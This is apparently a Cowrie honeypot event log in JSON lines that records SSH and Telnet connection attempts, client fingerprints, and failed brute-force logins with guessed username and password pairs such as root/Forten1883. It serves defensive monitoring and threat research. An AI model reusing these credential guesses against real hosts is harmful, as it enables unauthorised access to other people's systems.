{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:21.174632Z","src_ip":"80.94.92.184","session":"8c18fa46cc8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:22.157946Z","src_ip":"80.94.92.184","session":"8c18fa46cc8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:23.461136Z","src_ip":"80.94.92.184","session":"8c18fa46cc8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.60.130","src_port":53186,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a2c54373c99","protocol":"ssh","message":"New connection: 198.98.60.130:53186 (10.17.0.5:22) [session: 6a2c54373c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.799792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.804979Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.813252Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:19:26:15:d2:1a:8d:7c:fb:4e:98:0d:c4:d0:6f:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRgPq5yI1WqmtyysmH35ffjINTBvcvKOHfPXXORnmXR1LrwywUSNF5Wye31fm+fprTl8hw+4ZIMKJszf28K01C0qYfCc9H5QYLdsyW+DCJ3HqiUFaSCkkVIweUNvNy/MIP9IhgtxocJImVwncmR4NoNW9R0ZOK0bGLHJ4JVwleduINLwtyltCn/+GiVu6BLyBE66S4F8E1YcBufQrXo36v/pu5Cr9IHRByHF9/8WISeGemSjQyEU4mTH/SFXNCnCEIIhqn+IvxU12P6s7VVE8nu25iQvW1DspDuwfuEmiocXBi8j4XZkCEjGMwNYROC1+Nyu4TDZ1ZxWMpkLgXRJ3d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:19:26:15:d2:1a:8d:7c:fb:4e:98:0d:c4:d0:6f:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.839838Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:19:26:15:d2:1a:8d:7c:fb:4e:98:0d:c4:d0:6f:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRgPq5yI1WqmtyysmH35ffjINTBvcvKOHfPXXORnmXR1LrwywUSNF5Wye31fm+fprTl8hw+4ZIMKJszf28K01C0qYfCc9H5QYLdsyW+DCJ3HqiUFaSCkkVIweUNvNy/MIP9IhgtxocJImVwncmR4NoNW9R0ZOK0bGLHJ4JVwleduINLwtyltCn/+GiVu6BLyBE66S4F8E1YcBufQrXo36v/pu5Cr9IHRByHF9/8WISeGemSjQyEU4mTH/SFXNCnCEIIhqn+IvxU12P6s7VVE8nu25iQvW1DspDuwfuEmiocXBi8j4XZkCEjGMwNYROC1+Nyu4TDZ1ZxWMpkLgXRJ3d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.846311Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:83:40:9d:b0:d0:62:2c:b7:19:d6:91:d6:a8:13:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3I3bk6BAKCO++r0myL+VWCvI6YLsDrrgl057NkH2O08bj560TAPvn9XJBfDQd5TfmWdSigzM730ObeHbqVFzeDWKEk28bMAi+jA6poXHWF2+4KsUg5pUE3IMMQaOn9mujJzLTwDhiSi388eyYAVZdhaH/+Zgjeaj4ekv9AvKrHYXpR++u21nRIJ4fKOcoDwdopTxWXpV6vluo/eX9GFCIHMTg7bJ28zeiwyjY3ynbEM0S/+uhj5F5/qb7pR2f3P9ynsYuGRegZjEnb3xnSWr68L6u7mhaVKesjDHKTdmb9ug5EEtxYJjzzYtuHNkYWWdbFJGSyxq+n9JPWsXs3fF3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:83:40:9d:b0:d0:62:2c:b7:19:d6:91:d6:a8:13:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.855995Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:83:40:9d:b0:d0:62:2c:b7:19:d6:91:d6:a8:13:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3I3bk6BAKCO++r0myL+VWCvI6YLsDrrgl057NkH2O08bj560TAPvn9XJBfDQd5TfmWdSigzM730ObeHbqVFzeDWKEk28bMAi+jA6poXHWF2+4KsUg5pUE3IMMQaOn9mujJzLTwDhiSi388eyYAVZdhaH/+Zgjeaj4ekv9AvKrHYXpR++u21nRIJ4fKOcoDwdopTxWXpV6vluo/eX9GFCIHMTg7bJ28zeiwyjY3ynbEM0S/+uhj5F5/qb7pR2f3P9ynsYuGRegZjEnb3xnSWr68L6u7mhaVKesjDHKTdmb9ug5EEtxYJjzzYtuHNkYWWdbFJGSyxq+n9JPWsXs3fF3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.861158Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:a6:7e:6f:d9:3d:e6:55:9c:62:5e:a7:b3:ff:26:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsGq0qXsdfEk8Gu6LEewkNDxMLLowZdOzm3t7apRDJUCMR8j72KSsyn0l1g/Tb+H7XvfceUYdECi2dzBK2EUBqjfHlIE+58lj/wBcesCJDRf8SAtksz+Vs3hnAnDeQ39u+Wx4SRs3sjZ0G4TolA+J45bRUedkMAUD1osBvlP9kLffZqlMZVqvcYYwe4RGPpISWkLAkvDpafHw17KL4kGqnly93iQEvmq3VVdIH3920K2dfe8srTQrqwPO4u5o8gkEtBr/YswXbPD9/6BHLnQrtCc5l0zuQGxRI+CgupqBAHl4PcgdC1SjpnMMv3HenelxWrLCE8vLtnok7TwCRHemV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:a6:7e:6f:d9:3d:e6:55:9c:62:5e:a7:b3:ff:26:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.873285Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:a6:7e:6f:d9:3d:e6:55:9c:62:5e:a7:b3:ff:26:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsGq0qXsdfEk8Gu6LEewkNDxMLLowZdOzm3t7apRDJUCMR8j72KSsyn0l1g/Tb+H7XvfceUYdECi2dzBK2EUBqjfHlIE+58lj/wBcesCJDRf8SAtksz+Vs3hnAnDeQ39u+Wx4SRs3sjZ0G4TolA+J45bRUedkMAUD1osBvlP9kLffZqlMZVqvcYYwe4RGPpISWkLAkvDpafHw17KL4kGqnly93iQEvmq3VVdIH3920K2dfe8srTQrqwPO4u5o8gkEtBr/YswXbPD9/6BHLnQrtCc5l0zuQGxRI+CgupqBAHl4PcgdC1SjpnMMv3HenelxWrLCE8vLtnok7TwCRHemV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.876895Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:06:f4:a8:35:c1:59:93:c0:ba:bb:be:04:aa:83:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvv2qO0Ph1cWxpyJ+L9ULpzUkGBI7qMY0brVfuJpF8BT4ECJXZNxjy169WQ8inPfy5bhLZSGZw7N8Qx5eKk0t/Zur70VHfcZmYLoZTgOho+SP0b3+LA0m2dR/6qfI2jdH91j3UxpR0C43a9mJ50X6BrGdOT1XIri2ikFAYV3YyNJXUBdmggdgZufhukStXxZL7Xj09XYVC8zVgLyiz3eYlwf/k2mb1mTLto+AqpYlgMSL/vweVhZS9hF1feBmpttBsRNltnVtF7v0edlmMdPiwtFAPcZhd00CeXdiJvT6BLvoltaeeFQ/Z6Zjz45rjHW6algdps+KKJMlM4JtRUmfF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:06:f4:a8:35:c1:59:93:c0:ba:bb:be:04:aa:83:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.889923Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:06:f4:a8:35:c1:59:93:c0:ba:bb:be:04:aa:83:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvv2qO0Ph1cWxpyJ+L9ULpzUkGBI7qMY0brVfuJpF8BT4ECJXZNxjy169WQ8inPfy5bhLZSGZw7N8Qx5eKk0t/Zur70VHfcZmYLoZTgOho+SP0b3+LA0m2dR/6qfI2jdH91j3UxpR0C43a9mJ50X6BrGdOT1XIri2ikFAYV3YyNJXUBdmggdgZufhukStXxZL7Xj09XYVC8zVgLyiz3eYlwf/k2mb1mTLto+AqpYlgMSL/vweVhZS9hF1feBmpttBsRNltnVtF7v0edlmMdPiwtFAPcZhd00CeXdiJvT6BLvoltaeeFQ/Z6Zjz45rjHW6algdps+KKJMlM4JtRUmfF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.893679Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:00:ff:79:07:0e:16:a3:95:43:7a:b1:c3:b4:d2:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwEAM74rJXT5ts2ZWv6HO9lIZd28D6FhnLSCP4pQu2Jwp2TiOIZgNjqdo2xq+NN8IV6zPRL3CMNhkmKh3wQc2Ohpo//tpgrbNscZ+IVLaipmtG6ielaXo/au0YL7rdJdFdOh4S1VM0/7iv50zwnLHdufNLhtFdX/FORo7c840Y473cyp8JTAhV10XAKRZUOTtWp2WvYS1DQHiJLODoku/KGEmnmnhNHGFaW2P8GCR+QI2RAAY8EaFxOLaXN0Kf46UKBUr2Jle2GytosEMzKI7hquj09XMT4x0jmZy+WNusKWo8CWKqI2RLdkghAstmR9D5v67q4DqWypZMTxaudWhpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:00:ff:79:07:0e:16:a3:95:43:7a:b1:c3:b4:d2:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.906305Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:00:ff:79:07:0e:16:a3:95:43:7a:b1:c3:b4:d2:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwEAM74rJXT5ts2ZWv6HO9lIZd28D6FhnLSCP4pQu2Jwp2TiOIZgNjqdo2xq+NN8IV6zPRL3CMNhkmKh3wQc2Ohpo//tpgrbNscZ+IVLaipmtG6ielaXo/au0YL7rdJdFdOh4S1VM0/7iv50zwnLHdufNLhtFdX/FORo7c840Y473cyp8JTAhV10XAKRZUOTtWp2WvYS1DQHiJLODoku/KGEmnmnhNHGFaW2P8GCR+QI2RAAY8EaFxOLaXN0Kf46UKBUr2Jle2GytosEMzKI7hquj09XMT4x0jmZy+WNusKWo8CWKqI2RLdkghAstmR9D5v67q4DqWypZMTxaudWhpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.910956Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:26.922294Z","src_ip":"198.98.60.130","session":"6a2c54373c99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45468,"dst_ip":"10.17.0.5","dst_port":23,"session":"20e3f18069bd","protocol":"telnet","message":"New connection: 50.6.8.71:45468 (10.17.0.5:23) [session: 20e3f18069bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:28.218236Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":52758,"dst_ip":"159.203.135.109","dst_port":22,"session":"1146b999d9cd","protocol":"ssh","message":"New connection: 37.233.85.71:52758 (159.203.135.109:22) [session: 1146b999d9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:35.027125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:35.032731Z","src_ip":"37.233.85.71","session":"1146b999d9cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:35.138521Z","src_ip":"37.233.85.71","session":"1146b999d9cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:35.466482Z","src_ip":"37.233.85.71","session":"1146b999d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:36.575552Z","src_ip":"37.233.85.71","session":"1146b999d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00451683998108,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:00:40.240278Z","src_ip":"67.222.148.25","session":"a3ec0db48a98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":44692,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ea45e7f7b0b","protocol":"ssh","message":"New connection: 194.113.233.25:44692 (10.17.0.5:22) [session: 3ea45e7f7b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:00.614737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:00.621509Z","src_ip":"194.113.233.25","session":"3ea45e7f7b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:00.721205Z","src_ip":"194.113.233.25","session":"3ea45e7f7b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vbkfirf","message":"login attempt [root/vbkfirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:01.078760Z","src_ip":"194.113.233.25","session":"3ea45e7f7b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:02.180103Z","src_ip":"194.113.233.25","session":"3ea45e7f7b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.29962086677551,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:05.516965Z","src_ip":"50.6.8.71","session":"20e3f18069bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":48430,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f87cd9bf3ba","protocol":"telnet","message":"New connection: 23.94.28.189:48430 (10.17.0.5:23) [session: 7f87cd9bf3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:20.896439Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42366,"dst_ip":"10.17.0.5","dst_port":23,"session":"99165aa83571","protocol":"telnet","message":"New connection: 50.6.8.71:42366 (10.17.0.5:23) [session: 99165aa83571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:39.899844Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":52638,"dst_ip":"10.17.0.5","dst_port":23,"session":"a93bf54b5f07","protocol":"telnet","message":"New connection: 23.94.28.189:52638 (10.17.0.5:23) [session: a93bf54b5f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:49.152442Z"}
{"eventid":"cowrie.session.closed","duration":31.988452434539795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:52.884813Z","src_ip":"23.94.28.189","session":"7f87cd9bf3ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50766,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6e24dda10d","protocol":"telnet","message":"New connection: 50.6.8.71:50766 (10.17.0.5:23) [session: bb6e24dda10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:58.646367Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.104","src_port":58404,"dst_ip":"10.17.0.5","dst_port":22,"session":"995a937b84f1","protocol":"ssh","message":"New connection: 205.210.31.104:58404 (10.17.0.5:22) [session: 995a937b84f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:58.978650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:01:59.775229Z","src_ip":"205.210.31.104","session":"995a937b84f1","protocol":"ssh"}
